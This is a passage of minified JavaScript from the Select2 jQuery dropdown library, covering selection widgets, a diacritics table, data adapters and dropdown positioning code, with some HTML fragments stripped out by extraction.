b=a(this);this!=d[0]&&(b.data("element").select2("close"),setTimeout(function(){b.find("*:focus").blur(),c.focus()},1))})})},d.prototype._detachCloseHandler=function(b){a(document.body).off("mousedown.select2."+b.id)},d.prototype.position=function(a,b){b.find(".selection").append(a)},d.prototype.destroy=function(){this._detachCloseHandler(this.container)},d.prototype.update=function(a){throw new Error("The `update` method must be defined in child classes.")},d}),b.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(a,b,c,d){function e(){e.__super__.constructor.apply(this,arguments)}return c.Extend(e,b),e.prototype.render=function(){var a=e.__super__.render.call(this);return a.addClass("select2-selection--single"),a.html(''),a},e.prototype.bind=function(a,b){var c=this;e.__super__.bind.apply(this,arguments);var d=a.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",d).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",d),this.$selection.attr("role","combobox"),this.$selection.on("mousedown",function(a){1===a.which&&c.trigger("toggle",{originalEvent:a})}),this.$selection.on("focus",function(a){}),this.$selection.on("keydown",function(b){!a.isOpen()&&b.which>=48&&b.which<=90&&a.open()}),this.$selection.on("blur",function(a){}),a.on("focus",function(b){a.isOpen()||c.$selection.focus()}),a.on("selection:update",function(a){c.update(a.data)})},e.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},e.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},e.prototype.selectionContainer=function(){return a("")},e.prototype.update=function(a){if(0===a.length)return void this.clear();var b=a[0],c=this.$selection.find(".select2-selection__rendered"),d=this.display(b,c);c.empty().append(d),c.prop("title",b.title||b.text)},e}),b.define("select2/selection/multiple",["jquery","./base","../utils"],function(a,b,c){function d(a,b){d.__super__.constructor.apply(this,arguments)}return c.Extend(d,b),d.prototype.render=function(){var a=d.__super__.render.call(this);return a.addClass("select2-selection--multiple"),a.html('
        '),a},d.prototype.bind=function(b,c){var e=this;d.__super__.bind.apply(this,arguments),this.$selection.on("click",function(a){e.trigger("toggle",{originalEvent:a})}),this.$selection.on("click",".select2-selection__choice__remove",function(b){if(!e.options.get("disabled")){var c=a(this),d=c.parent(),f=d.data("data");e.trigger("unselect",{originalEvent:b,data:f})}}),this.$selection.on("keydown",function(a){!b.isOpen()&&a.which>=48&&a.which<=90&&b.open()}),b.on("focus",function(){e.focusOnSearch()})},d.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},d.prototype.display=function(a,b){var c=this.options.get("templateSelection");return this.options.get("escapeMarkup")(c(a,b))},d.prototype.selectionContainer=function(){return a('
      • ')},d.prototype.focusOnSearch=function(){var a=this;void 0!==a.$search&&setTimeout(function(){a._keyUpPrevented=!0,a.$search.focus()},1)},d.prototype.update=function(a){if(this.clear(),0!==a.length){for(var b=[],d=0;d1||c)return a.call(this,b);this.clear();var d=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(d)},b}),b.define("select2/selection/allowClear",["jquery","../keys"],function(a,b){function c(){}return c.prototype.bind=function(a,b,c){var d=this;a.call(this,b,c),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(a){d._handleClear(a)}),b.on("keypress",function(a){d._handleKeyboardClear(a,b)})},c.prototype._handleClear=function(a,b){if(!this.options.get("disabled")){var c=this.$selection.find(".select2-selection__clear");if(0!==c.length){b.stopPropagation();for(var d=c.data("data"),e=0;e0||0===c.length)){var d=a('×');d.data("data",c),this.$selection.find(".select2-selection__rendered").prepend(d)}},c}),b.define("select2/selection/search",["jquery","../utils","../keys"],function(a,b,c){function d(a,b,c){a.call(this,b,c)}return d.prototype.render=function(b){var c=a('');this.$searchContainer=c,this.$search=c.find("input");var d=b.call(this);return this._transferTabIndex(),d},d.prototype.bind=function(a,b,d){var e=this,f=b.id+"-results";a.call(this,b,d),b.on("open",function(){e.$search.attr("aria-owns",f),e.$search.trigger("focus")}),b.on("close",function(){e.$search.val(""),e.$search.removeAttr("aria-activedescendant"),e.$search.removeAttr("aria-owns"),e.$search.trigger("focus")}),b.on("enable",function(){e.$search.prop("disabled",!1),e._transferTabIndex()}),b.on("disable",function(){e.$search.prop("disabled",!0)}),b.on("focus",function(a){e.$search.trigger("focus")}),b.on("results:focus",function(a){e.$search.attr("aria-activedescendant",a.data._resultId)}),this.$selection.on("focusin",".select2-search--inline",function(a){e.trigger("focus",a)}),this.$selection.on("focusout",".select2-search--inline",function(a){e._handleBlur(a)}),this.$selection.on("keydown",".select2-search--inline",function(a){if(a.stopPropagation(),e.trigger("keypress",a),e._keyUpPrevented=a.isDefaultPrevented(),a.which===c.BACKSPACE&&""===e.$search.val()){var d=e.$searchContainer.prev(".select2-selection__choice");if(d.length>0){var f=d.data("data");e.searchRemoveChoice(f),a.preventDefault()}}else a.which===c.ENTER&&(b.open(),a.preventDefault())});var g=document.documentMode,h=g&&g<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(a){if(h)return void e.$selection.off("input.search input.searchcheck");e.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(a){if(h&&"input"===a.type)return void e.$selection.off("input.search input.searchcheck");var b=a.which;b!=c.SHIFT&&b!=c.CTRL&&b!=c.ALT&&b!=c.TAB&&e.handleSearch(a)})},d.prototype._transferTabIndex=function(a){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},d.prototype.createPlaceholder=function(a,b){this.$search.attr("placeholder",b.text)},d.prototype.update=function(a,b){var c=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),a.call(this,b),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),c&&this.$search.focus()},d.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var a=this.$search.val();this.trigger("query",{term:a})}this._keyUpPrevented=!1},d.prototype.searchRemoveChoice=function(a,b){this.trigger("unselect",{data:b}),this.$search.val(b.text),this.handleSearch()},d.prototype.resizeSearch=function(){this.$search.css("width","25px");var a="";if(""!==this.$search.attr("placeholder"))a=this.$selection.find(".select2-selection__rendered").innerWidth();else{a=.75*(this.$search.val().length+1)+"em"}this.$search.css("width",a)},d}),b.define("select2/selection/eventRelay",["jquery"],function(a){function b(){}return b.prototype.bind=function(b,c,d){var e=this,f=["open","opening","close","closing","select","selecting","unselect","unselecting"],g=["opening","closing","selecting","unselecting"];b.call(this,c,d),c.on("*",function(b,c){if(-1!==a.inArray(b,f)){c=c||{};var d=a.Event("select2:"+b,{params:c});e.$element.trigger(d),-1!==a.inArray(b,g)&&(c.prevented=d.isDefaultPrevented())}})},b}),b.define("select2/translation",["jquery","require"],function(a,b){function c(a){this.dict=a||{}}return c.prototype.all=function(){return this.dict},c.prototype.get=function(a){return this.dict[a]},c.prototype.extend=function(b){this.dict=a.extend({},b.all(),this.dict)},c._cache={},c.loadPath=function(a){if(!(a in c._cache)){var d=b(a);c._cache[a]=d}return new c(c._cache[a])},c}),b.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"}}),b.define("select2/data/base",["../utils"],function(a){function b(a,c){b.__super__.constructor.call(this)}return a.Extend(b,a.Observable),b.prototype.current=function(a){throw new Error("The `current` method must be defined in child classes.")},b.prototype.query=function(a,b){throw new Error("The `query` method must be defined in child classes.")},b.prototype.bind=function(a,b){},b.prototype.destroy=function(){},b.prototype.generateResultId=function(b,c){var d="";return d+=null!=b?b.id:a.generateChars(4),d+="-result-",d+=a.generateChars(4),null!=c.id?d+="-"+c.id.toString():d+="-"+a.generateChars(4),d},b}),b.define("select2/data/select",["./base","../utils","jquery"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,a),d.prototype.current=function(a){var b=[],d=this;this.$element.find(":selected").each(function(){var a=c(this),e=d.item(a);b.push(e)}),a(b)},d.prototype.select=function(a){var b=this;if(a.selected=!0,c(a.element).is("option"))return a.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(d){var e=[];a=[a],a.push.apply(a,d);for(var f=0;f=0){var k=f.filter(d(j)),l=this.item(k),m=c.extend(!0,{},j,l),n=this.option(m);k.replaceWith(n)}else{var o=this.option(j);if(j.children){var p=this.convertToOptions(j.children);b.appendMany(o,p)}h.push(o)}}return h},d}),b.define("select2/data/ajax",["./array","../utils","jquery"],function(a,b,c){function d(a,b){this.ajaxOptions=this._applyDefaults(b.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),d.__super__.constructor.call(this,a,b)}return b.Extend(d,a),d.prototype._applyDefaults=function(a){var b={data:function(a){return c.extend({},a,{q:a.term})},transport:function(a,b,d){var e=c.ajax(a);return e.then(b),e.fail(d),e}};return c.extend({},b,a,!0)},d.prototype.processResults=function(a){return a},d.prototype.query=function(a,b){function d(){var d=f.transport(f,function(d){var f=e.processResults(d,a);e.options.get("debug")&&window.console&&console.error&&(f&&f.results&&c.isArray(f.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),b(f),e.container.focusOnActiveElement()},function(){d.status&&"0"===d.status||e.trigger("results:message",{message:"errorLoading"})});e._request=d}var e=this;null!=this._request&&(c.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var f=c.extend({type:"GET"},this.ajaxOptions);"function"==typeof f.url&&(f.url=f.url.call(this.$element,a)),"function"==typeof f.data&&(f.data=f.data.call(this.$element,a)),this.ajaxOptions.delay&&null!=a.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(d,this.ajaxOptions.delay)):d()},d}),b.define("select2/data/tags",["jquery"],function(a){function b(b,c,d){var e=d.get("tags"),f=d.get("createTag");void 0!==f&&(this.createTag=f);var g=d.get("insertTag");if(void 0!==g&&(this.insertTag=g),b.call(this,c,d),a.isArray(e))for(var h=0;h0&&b.term.length>this.maximumInputLength)return void this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumSelectionLength",[],function(){function a(a,b,c){this.maximumSelectionLength=c.get("maximumSelectionLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){var d=this;this.current(function(e){var f=null!=e?e.length:0;if(d.maximumSelectionLength>0&&f>=d.maximumSelectionLength)return void d.trigger("results:message",{message:"maximumSelected",args:{maximum:d.maximumSelectionLength}});a.call(d,b,c)})},a}),b.define("select2/dropdown",["jquery","./utils"],function(a,b){function c(a,b){this.$element=a,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('');return b.attr("dir",this.options.get("dir")),this.$dropdown=b,b},c.prototype.bind=function(){},c.prototype.position=function(a,b){},c.prototype.destroy=function(){this.$dropdown.remove()},c}),b.define("select2/dropdown/search",["jquery","../utils"],function(a,b){function c(){}return c.prototype.render=function(b){var c=b.call(this),d=a('');return this.$searchContainer=d,this.$search=d.find("input"),c.prepend(d),c},c.prototype.bind=function(b,c,d){var e=this,f=c.id+"-results";b.call(this,c,d),this.$search.on("keydown",function(a){e.trigger("keypress",a),e._keyUpPrevented=a.isDefaultPrevented()}),this.$search.on("input",function(b){a(this).off("keyup")}),this.$search.on("keyup input",function(a){e.handleSearch(a)}),c.on("open",function(){e.$search.attr("tabindex",0),e.$search.attr("aria-owns",f),e.$search.focus(),window.setTimeout(function(){e.$search.focus()},0)}),c.on("close",function(){e.$search.attr("tabindex",-1),e.$search.removeAttr("aria-activedescendant"),e.$search.removeAttr("aria-owns"),e.$search.val("")}),c.on("focus",function(){c.isOpen()&&e.$search.focus()}),c.on("results:all",function(a){if(null==a.query.term||""===a.query.term){e.showSearch(a)?e.$searchContainer.removeClass("select2-search--hide"):e.$searchContainer.addClass("select2-search--hide")}}),c.on("results:focus",function(a){e.$search.attr("aria-activedescendant",a.data._resultId)})},c.prototype.handleSearch=function(a){if(!this._keyUpPrevented){var b=this.$search.val();this.trigger("query",{term:b})}this._keyUpPrevented=!1},c.prototype.showSearch=function(a,b){return!0},c}),b.define("select2/dropdown/hidePlaceholder",[],function(){function a(a,b,c,d){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c,d)}return a.prototype.append=function(a,b){b.results=this.removePlaceholder(b.results),a.call(this,b)},a.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},a.prototype.removePlaceholder=function(a,b){for(var c=b.slice(0),d=b.length-1;d>=0;d--){var e=b[d];this.placeholder.id===e.id&&c.splice(d,1)}return c},a}),b.define("select2/dropdown/infiniteScroll",["jquery"],function(a){function b(a,b,c,d){this.lastParams={},a.call(this,b,c,d),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return b.prototype.append=function(a,b){this.$loadingMore.remove(),this.loading=!1,a.call(this,b),this.showLoadingMore(b)&&this.$results.append(this.$loadingMore)},b.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),c.on("query",function(a){e.lastParams=a,e.loading=!0}),c.on("query:append",function(a){e.lastParams=a,e.loading=!0}),this.$results.on("scroll",function(){var b=a.contains(document.documentElement,e.$loadingMore[0]);if(!e.loading&&b){e.$results.offset().top+e.$results.outerHeight(!1)+50>=e.$loadingMore.offset().top+e.$loadingMore.outerHeight(!1)&&e.loadMore()}})},b.prototype.loadMore=function(){this.loading=!0;var b=a.extend({},{page:1},this.lastParams);b.page++,this.trigger("query:append",b)},b.prototype.showLoadingMore=function(a,b){return b.pagination&&b.pagination.more},b.prototype.createLoadingMore=function(){var b=a('
      • '),c=this.options.get("translations").get("loadingMore");return b.html(c(this.lastParams)),b},b}),b.define("select2/dropdown/attachBody",["jquery","../utils"],function(a,b){function c(b,c,d){this.$dropdownParent=d.get("dropdownParent")||a(document.body),b.call(this,c,d)}return c.prototype.bind=function(a,b,c){var d=this,e=!1;a.call(this,b,c),b.on("open",function(){d._showDropdown(),d._attachPositioningHandler(b),e||(e=!0,b.on("results:all",function(){d._positionDropdown(),d._resizeDropdown()}),b.on("results:append",function(){d._positionDropdown(),d._resizeDropdown()}))}),b.on("close",function(){d._hideDropdown(),d._detachPositioningHandler(b)}),this.$dropdownContainer.on("mousedown",function(a){a.stopPropagation()})},c.prototype.destroy=function(a){a.call(this),this.$dropdownContainer.remove()},c.prototype.position=function(a,b,c){b.attr("class",c.attr("class")),b.removeClass("select2"),b.addClass("select2-container--open"),b.css({position:"absolute",top:-999999}),this.$container=c},c.prototype.render=function(b){var c=a(""),d=b.call(this);return c.append(d),this.$dropdownContainer=c,c},c.prototype._hideDropdown=function(a){this.$dropdownContainer.detach()},c.prototype._attachPositioningHandler=function(c,d){var e=this,f="scroll.select2."+d.id,g="resize.select2."+d.id,h="orientationchange.select2."+d.id,i=this.$container.parents().filter(b.hasScroll);i.each(function(){a(this).data("select2-scroll-position",{x:a(this).scrollLeft(),y:a(this).scrollTop()})}),i.on(f,function(b){var c=a(this).data("select2-scroll-position");a(e).scrollTop(c.y)}),a(window).on(f+" "+g+" "+h,function(a){e._positionDropdown(),e._resizeDropdown()})},c.prototype._detachPositioningHandler=function(c,d){var e="scroll.select2."+d.id,f="resize.select2."+d.id,g="orientationchange.select2."+d.id;this.$container.parents().filter(b.hasScroll).off(e),a(window).off(e+" "+f+" "+g)},c.prototype._positionDropdown=function(){var b=a(window),c=this.$dropdown.hasClass("select2-dropdown--above"),d=this.$dropdown.hasClass("select2-dropdown--below"),e=null,f=this.$container.offset();f.bottom=f.top+this.$container.outerHeight(!1);var g={height:this.$container.outerHeight(!1)};g.top=f.top,g.bottom=f.top+g.height;var h={height:this.$dropdown.outerHeight(!1)},i={top:b.scrollTop(),bottom:b.scrollTop()+b.height()},j=i.topf.bottom+h.height,l={left:f.left,top:g.bottom},m=this.$dropdownParent;"static"===m.css("position")&&(m=m.offsetParent());var n=m.offset();l.top-=n.top,l.left-=n.left,c||d||(e="below"),k||!j||c?!j&&k&&c&&(e="below"):e="above",("above"==e||c&&"below"!==e)&&(l.top=g.top-n.top-h.height),null!=e&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+e),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+e)),this.$dropdownContainer.css(l)},c.prototype._resizeDropdown=function(){var 